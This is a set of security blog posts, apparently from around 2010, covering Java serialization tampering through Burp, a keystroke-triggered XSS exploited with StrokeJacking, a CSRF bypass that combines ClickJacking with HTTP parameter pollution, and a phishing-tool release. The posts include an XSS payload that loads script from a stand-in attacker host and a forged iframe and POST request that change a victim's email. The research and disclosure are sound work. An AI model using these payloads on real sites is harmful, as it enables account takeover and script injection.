Attacking JAVA Serialized Communication: BH EU 2010

JAVA Object Serialization has been in use in many applications for a long time now. I find many enterprise applications that make use of JAVA Object Serialization to transfer objects from the client to sever and vice-versa. Testing such applications is a pain as it is not as straight forward as normal web applications that make use of simple parameter and value in HTTP POST data.

Some applications g-zip the serialized data before transferring it. Most common protocol for such applications is HTTP and RMI. There aren’t many easy techniques available today to test such applications and even if they do, they have certain shortcomings. At BlackHat EU this year, I discussed a technique that could be used to test such applications using currently available tools.

For testing web applications, the best tool available by far is Burp Proxy. It is one of my preferred tools to perform security assessments. You can refer to the whitepaper and the slides for details of the talk. In this blog post I will discuss the setup and a short introduction of how to carry out such assessments. The pre-requisites for using this technique are:

• Burp Proxy v.1.2.x
• JRuby v.1.4.x
• Buby v. 1.8.x
• Editor of your choice to edit the JRuby code
• Some knowledge of JAVA Object Serialization

First make sure that the usual 'JAVA_HOME' and 'PATH' environment variables are set for JAVA and JRuby. Once you have JAVA and JRuby setup properly, install the Buby gem. The details for installing Buby are given on its help page. Just make sure to copy the 'burp.jar' file in the JRuby load path. You can find the JRuby load path as follows in the IRB shell:

[IRB]>> $:

You can download the code that I released at BlackHat for the demo from here. It is a plug-in template that does three things:

• Injects an (J)IRB shell in the Burp Proxy
• Provides a method that de-serializes the JAVA Object stream (this can be modified to suit your needs e.g un-zip stream before de-serializing, etc.)
• Provides helper methods that use JAVA Reflection to access private variables and other useful methods

All the client-side jars should be placed in the lib folder provided by the plug-in. The plug-in will automatically import all the jars contained in this directory on startup. For the purpose of demonstration we would use a simple scenario where the JAVA serialized object is passed in a POST data of a HTTP request from the client to the server and vice-versa as shown in the figure below.

Once this sort of data is intercepted by Burp; our plug-in steps into action. Burp passes the entire message (headers + POST data) as a JAVA byte array to the plug-in which then splits the message into header and data and tries to de-serialize the JAVA Object. Once the JAVA Object is read, the plug-in spawns a (J)IRB shell exposing a variable obj which contains the JAVA Object. Now the pentester has the option of playing around with a complete development environment using the shell and editing the object at will. Once you are done modifying the object, you can use the helper methods to pack the object and create a new message (JAVA byte array) and return it to Burp to pass it to the application server.

For a more detailed demonstration watch the video

Stroke triggered XSS and StrokeJacking

A few days back I got a link to the RubyHero website, it lets you nominate a person of your choice for the Ruby Hero award. I wanted to nominate Manish because he is doing some pretty cool stuff with Ruby and also always ferociously defends Ruby in our Perl vs Ruby arguments. So there I was, on their homepage typing in the Attack and Defense Labs URL in to the input box. But as I typed it in, the URL started showing up inside the ‘Nominate’ button. Since it looked like a candidate for XSS I entered ‘<h1>’ and sure enough it was rendered by the browser, tried the script tag and got an alert command to execute.

None of this is even remotely amusing but what is interesting is how this XSS vulnerability can be exploited. The payload in this case can neither be injected through any URL or POST parameter like a reflected or stored XSS nor be injected through any DOM object before the page loads like discussed in popular references of DOM based XSS attacks. It can only be injected by the victim himself by typing out every single character of the payload!!

I will explain why. In this specific case there is an event handler assigned to the Input box’s ‘KeyUp’ event. This event handler takes the contents of the input box and sets it as the ‘Nominate’ button element’s content using the ‘html()’ function of JQuery without any encoding or validation. If I enter HTML inside the input box then it is added to the DOM of the page and is rendered by the browser. Since this XSS can only be triggered by the keystrokes of the victim, ‘Stroke triggered Cross-site Scripting‘ would be a suitable name for it I think.

The vulnerable JavaScript snippet is below:
jQuery(function($){
$('#site_url').focus().keyup(function(event) {
var input_text = $(event.target).val();
//removed for clarity
$('#nomination_submit').html('Nominate <strong>' + input_text + '</strong>');
});

All of this sounds good but how on earth do you convince your victim to type in ‘<script src=attacker.site/evil.js>’ in to this box. Realistically speaking it is easier than you might think because I have myself happily copy-pasted JavaScript in to my browser’s address bar because someone on Orkut said it would do cool things. Ofcourse that was many many years back before I even knew what JavaScript was. Though an evil attacker can social engineer simple folks like the old me to key in the payload, it might not look very convincing to others.

Pondering over a possible technique to make the attack look legit I remembered the ‘StrokeJacking’ POC posted by Michal Zalewski a few weeks back. Like ClickJacking, StrokeJacking also makes use of UI redressing to trick the user but instead of Clicks it hijacks the keystrokes of the victim, very clever technique. The POC asks the victim to type in a harmless looking string while in reality the string is a mix of characters that the attacker is interested in along with other insignificant characters.

There is an input box in the attacker’s website where this string is to be typed and this page also contains a hidden ‘iframe’ which loads the target site. As the victim types the string in to the input box there is an event handler which monitors every character entered, if the victim types in one of the characters the attacker is interested in then it passes the focus to the hidden iframe. So this character is actually typed in to the active input box of the iframe, immediately the focus is bought back to the attacker’s input box. By doing this repeatedly the attacker can con the victims in to typing something inside the target website without them even knowing what and where they have typed.

StrokeJacking is the perfect technique to exploit ‘Stroke triggered XSS’ and I have made a simple POC to prove this point. The page vulnerable to Stroke triggered XSS is hosted at ‘andlabs.net’. The page from which StrokeJacking will be performed is located at ‘andlabs.org’, this is done to show that this is a cross-domain attack.

The success with the POC depends on your typing style because the method that I am using to capture the special characters ‘<’ and ‘:’ from the victim depends on the victim’s typing speed and style. If you press the ‘shift’ key and take more the 500ms searching for the ‘<’ or ‘:’ key then this technique does not catch them. I am betting on the fact that most people take lesser that. Also once you enter the either of the special characters give a brief pause of about a second before keying in the next character. It works on FireFox, Chrome, Safari and Iron. All suggestions for a better method to do this are most welcome.

I reported this vulnerability late last week to the developers of rubyheros.com but it still remains unfixed. They responded promptly but remain convinced that this is an unexploitable vulnerability. Hopefully this post will change such perceptions. A video of exploiting the original vulnerability similar to the one shared with the vendors is available here.

New technique to be released for Attacking JAVA Serialized Communication at Black Hat Europe 2010

Hey guys, this year Black Hat Europe is happening at Barcelona, Spain and I will be presenting there for the first time. The topic that I'm speaking on is "Attacking JAVA Serialized Communication". You can read the abstract here. There is an interesting aspect behind this topic. To give you a short background, I usually conduct trainings on Secure Code Development for JAVA developers and Security Testing for QA testers. During one of the lectures, while I was explaining parameter tampering on web applications using interception proxies, one of the developers asked me how I can accomplish the same on thick clients which normally transfer data as serialized objects. At that moment, I could only show how to modify hex bytes for simple strings. But then he started arguing that usually in large enterprise applications the variables themselves are complex objects and not simple strings.

I was stumped. I did not have a clear-cut solution (though I knew it is possible) to explain to him that this can be done. I started searching the internet for articles explaining this, but couldn't find anything conclusive enough. I have been working on this since December last year and finally perfected the concept and wrote a plug-in for BurpSuite as a PoC to explain how easy it is. I would like to thank Eric and Shay for some wonderful work they have done which has helped me in achieving this goal.

At Black Hat I will be explaining how this can be achieved and what are the various problems currently faced by pentesters while testing applications using serialized communication. If you are visiting Black Hat this year at Barcelona, I would be happy to meet you and share some thoughts on similar topics. Looking forward to socializing with some great people there and gaining some new insights on current security trends.

Bypassing CSRF protections with ClickJacking and HTTP Parameter Pollution

This idea occurred to me a few weeks back when discussing the potential impact of ClickJacking attacks with Luca. Submitting forms using ClickJacking is hard work and is only successful in very rare scenarios. The Twitter ClickJacking attack was one famous instance where form submission was involved, but it was a form that was submitted over ‘GET’ request.

In this post I will discuss a technique that can be used to bypassing any CSRF counter measures and submit POST method -based forms with attacker controlled data using ClickJacking. This works on JSP applications and partially on ASP.NET applications.

Let us take the case of a simple primary Email ID update form. Such forms are common in many web applications. They are simple but extremely important, if an attacker manages to force a victim to update his primary Email ID with that of the attacker’s ID then the attacker can perform a password reset and compromise the victim’s account.

A sample Email ID update form is given below, this contains a ‘csrf-token’ parameter for CSRF protection:

<form method="POST">
<input type="text" name="email" value=””></input>
<input type="hidden" name=”csrf-token” value="a0a0a0a0a0a"/>
</form>

Let’s say this form is available at 'www.example.com/updateEmail.jsp'
Since this form does not contain an ‘action’ attribute, on submission the form will be submitted to the current URL in the address bar, which will be ‘www.example.com/updateEmail.jsp’.

The source code of 'updateEmail.jsp' would typically look like this:

if ( request.parameter("email").isSet() && request.parameter("csrf-token").isValid() )
{
//process the form and update the email ID
}
else
{
//display an empty form to the user (CSRF token included)
}

The application checks if the request contains a valid CSRF token, if not it displays the form to the user.

Now to submit our sample form using ClickJacking the attacker can include an iframe like this
'<iframe src=”http://www.example.com/updateEmail.jsp?email=evil@attackermail.com”>'

When this request goes to the server the application would display the update form. When this form is submitted by the victim using ClickJacking the request that is sent to the server is like this:

POST /updateEmail.jsp?email=evil@attackermail.com HTTP/1.1
Host: www.example.com

email=&csrf-token=a0a0a0a0a0

Since the form was not filled by the victim, the email parameter in the POST body is blank. However since the action attribute of the form was empty the form is submitted to www.example.com/updateEmail.jsp?email=evil@attackermail.com. Now the QueryString contains the attacker entered value for the ‘email’ parameter.

This request contains two values for the ‘email’ parameter, one in POST body and one in QueryString. Enter HTTP Parameter Pollution, when the server side JSP code calls request.parameter("email"), the value that is returned is the one in the QueryString and not the POST body. Since this value can be controlled by the attacker he can trick the victim in to updating his account with the attacker’s mail ID.

This attack can also work in cases when the form is submitted with JavaScript like this:

<form onSubmit=process()>
<input type="text" name="email" value=""></input>
<input type="hidden" name="csrf-token" value="a0a0a0a0a0a">
</form>

<script>
function process()
{
//check if email is set
form.action = document.location; //document.location will give out the entire URL with parameters
form.method = "post";
form.submit();
}
</script>

Apart from JSP applications, this attack can be extended to ASP.NET applications as well.
However since ASP.NET appends a ‘,’(comma) between duplicate parameters, it not as clean. But there are plenty of areas where having a trailing ‘,’ won’t hurt. In ASP.NET applications the form action is always set by the framework because of the 'runat="server"' attribute. The only requirement now is that the application should make use of Request.Params. Even if the application does not use Request.Params, forms submitted over 'GET' are still vulnerable. So all ASP.NET application using Request.Params or submitting forms over 'GET' are vulnerable to this attack!

Similar attack is also possible on ASP applications where the form element is of the form described earlier and if it is submitted over 'GET'. Like ASP.NET application a trailing comma is introduced here as well. A more detailed description of HTTP Parameter Pollution on ASP and ASP.NET applications and the significance of Request.Params is explained here. This whitepaper discusses how HPP can be used to bypass WAF.

Imposter and Whitepapers released

This is it folks! Finally Imposter is available for download. I have put up a short tutorial on how to use it along with some videos of the attacks.
I am also releasing two white papers:
Flash+IE=Prison Break – Explains the File Stealing attack against Internet Explorer in detail.
Google Gears for Attackers – Explains the different browser phishing attacks that can be performed against user of Google Gears.
Source code of the File Stealing exploit is also online for the sake of the more curious amongst us.
Would love to hear your feedback on the tool and the papers.

The Goan NullCon Hangover

Just back from NullCon 2010 which happened in Goa. Can’t say which was better the conference or the beaches. It was a very relaxed affair with plenty of familiar faces. My talk was on Imposter, the idea was to explain how it works and what its various features are and also announce the public release of the tool. But my talk had to be cut short because the Gears database stealing attack didn’t work onstage. Not wanting to miss out this part I decided to go backstage and fix the bug and then continue my talk later in the day. Turned out that some insignificant change that I made in code before the talk broke the Gears stealing feature, never expected that. Got it fixed in about 15 minutes but unfortunately I could not continue with my talk, the other talks were already running late and there was no slot available. I was disappointed but hey, atleast I announced the release of the tool. Coming to the other talks, there was a very interesting talk from Veysel Ozer, it was on how the update feature of softwares can be comprised by an attacker. I had read about this attack in the past but it was really interesting to see it in action. He has discovered vulnerabilities in the update feature of different software and has extended karmetasploit with exploits to attack these vulnerable software. Interestingly he also spoke about instances where he was not successful in compromising the update feature and explained why. I met him backstage, showed him a demo of Imposter and explained how the attack modules from Imposter can fit in to Karmetasploit and how his update attack can fit in to Imposter. He liked the idea, so we exchanged code. Hopefully he will find time to build this in to Karmetasploit, that must be pretty cool. Until then Imposter remains the best browser phishing tool ;)

The ClubHack 2009 hangover

ClubHack is India’s first and oldest hacking/security conference. Started in 2007 by Rohit Shrivatsav, it happens in Pune every year. This year was special because Imposter was going to be there ;). I presented the same content as SecurityByte and OWASP AppSec Asia but this time around I had more time. I was able to explain all the attacks along with the demos. The audience were great and had very interesting questions, the most common of it was "Where can I get Imposter from?". I promised them it was going to be available for download very soon. There was a very interesting session by Kursev Singh of McAfee, he was demonstrating Mobile Application Testing, liked the way he presented his talk. Team ClubHack was a young and fired up group and they did a very good job. Once the sun went down all the speakers headed over to the bar and there was a surprise waiting for us. The beer served in the bar was coming straight from a brewery built right into the bar itself. It was just fresh pure beer with no additives or preservatives. This was a brainchild of a couple of IIM grads, one of them took us on a tour of the brewery and explained the entire process. I have become a fan already and hope ClubHack 2010 happens in the same place ;)